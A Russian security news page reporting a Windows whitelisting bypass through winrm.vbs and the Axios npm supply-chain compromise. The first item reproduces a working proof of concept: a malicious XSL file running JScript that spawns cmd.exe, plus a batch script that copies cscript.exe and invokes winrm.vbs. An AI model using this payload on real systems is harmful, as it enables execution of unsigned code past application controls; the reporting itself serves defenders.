В Windows найден метод обхода белых списков приложений

В Windows найден метод обхода белых списков приложений

В Windows найден метод обхода белых списков приложений

Исследователь в области кибербезопасности Мэтт Гребер нашел интересный метод обхода белых списков приложений в Windows. Помимо этого, эксперт описал технику выполнения произвольного неподписанного кода в winrm.vbs.

winrm.vbs (подписанный Windows скрипт в System32) способен выполнять контролируемый злоумышленником XSL, который не попадет под ограничения «enlightened script host», в результате это приведет к выполнению произвольного неподписанного кода.

«Если вы добавляете “-format:pretty” или “ -format:text” в winrm.vbs, он вытащит WsmPty.xsl или WsmTxt.xsl из каталога, в котором находится cscript.exe. Это значит, что атакующий может скопировать cscript.exe в нужное ему место, где находится вредоносный XSL», — пишет специалист.

«Благодаря этому киберпреступник может добиться выполнения произвольного неподписанного кода. Эта техника практически идентична описанному Кейси Смитом методу с использованием wmic.exe».

Что касается Proof-of-Concept, эксперт опубликовал следующие шаги:

  1. Поместить вредоносный файл WsmPty.xsl или WsmTxt.xsl в контролируемую атакующим директорию.
  2. Скопировать файл cscript.exe или wscript.exe в ту же самую директорию.
  3. Выполнить winrm.vbs с «-format», указав «pretty» (если был помещен файл WsmPty.xsl) или «text» (если был помещен файл WsmTxt.xsl).

Исследователь привел пример вредоносного XSL, который можно поместить в контролируемый злоумышленником каталог. В качестве примера эксперт помещает файл по этому пути — C:\BypassDir\WsmPty.xsl.

<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
 <ms:script implements-prefix="user" language="JScript">
 <![CDATA[
 var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
 ]]> </ms:script>
</stylesheet>

Грамотное оформление вредоносного файла WsmPty.xsl должно включать использование встроенного пейлоада DotNetToJScript, приводящего к выполнению произвольного кода.

«В процессе помещения файла WsmPty.xsl можно использовать следующий пакетный файл для запуска пейлоада», — объясняет эксперт:

mkdir %SystemDrive%\BypassDir
copy %windir%\System32\cscript.exe %SystemDrive%\BypassDir
%SystemDrive%\BypassDir\cscript //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty

Популярная библиотека Axios оказалась заражена трояном через npm

Популярная JavaScript-библиотека Axios оказалась жертвой атаки на цепочку поставок: злоумышленник скомпрометировал npm-аккаунт одного из ведущих мейнтейнеров и через него опубликовал две вредоносные версии пакета — axios@1.14.1 и axios@0.30.4.

По данным исследователей, обе сборки распространяли скрытый троян для macOS, Windows и Linux. Axios при этом остаётся одной из самых популярных библиотек в экосистеме npm — её скачивают примерно 100 млн раз в неделю.

В заражённые версии Axios добавили всего одну новую зависимость — plain-crypto-js@4.2.1, замаскированную под легитимную библиотеку crypto-js. При этом в исходном коде Axios эта зависимость никак не использовалась: её задачей был запуск postinstall-скрипта, который связывался с управляющим сервером, скачивал вредоносную нагрузку под конкретную ОС и затем зачищал следы своей работы.

Атака развивалась поэтапно. Сначала в npm загрузили «чистую» приманку plain-crypto-js, чтобы создать историю публикаций, а затем — уже заражённую версию. После этого через взломанный аккаунт мейнтейнера были опубликованы две вредоносные версии Axios — сначала для ветки 1.x, а затем для старой, но всё ещё популярной ветки 0.x. То есть атакующий накрыл сразу оба основных сценария использования библиотеки.

Согласно анализу, вредоносный код начинал сетевую активность почти сразу после установки пакета. На macOS троян маскировался под системный процесс Apple, на Windows использовал PowerShell и скрытый скрипт, а на Linux разворачивал Python-бэкдор во временной директории. После этого вредоносный модуль удалял собственные файлы и подменял их «чистой» заглушкой, чтобы при поверхностной проверке установленный пакет не вызывал подозрений.

Вредоносные версии, по имеющимся данным, оставались доступными в npm примерно два-три часа, после чего их удалили, а пакет plain-crypto-js попал под блокировку. При этом заражённые релизы не появились среди тегов GitHub-репозитория Axios, что указывает на публикацию напрямую в npm в обход обычного CI/CD-пайплайна проекта.

RSS: Новости на портале Anti-Malware.ru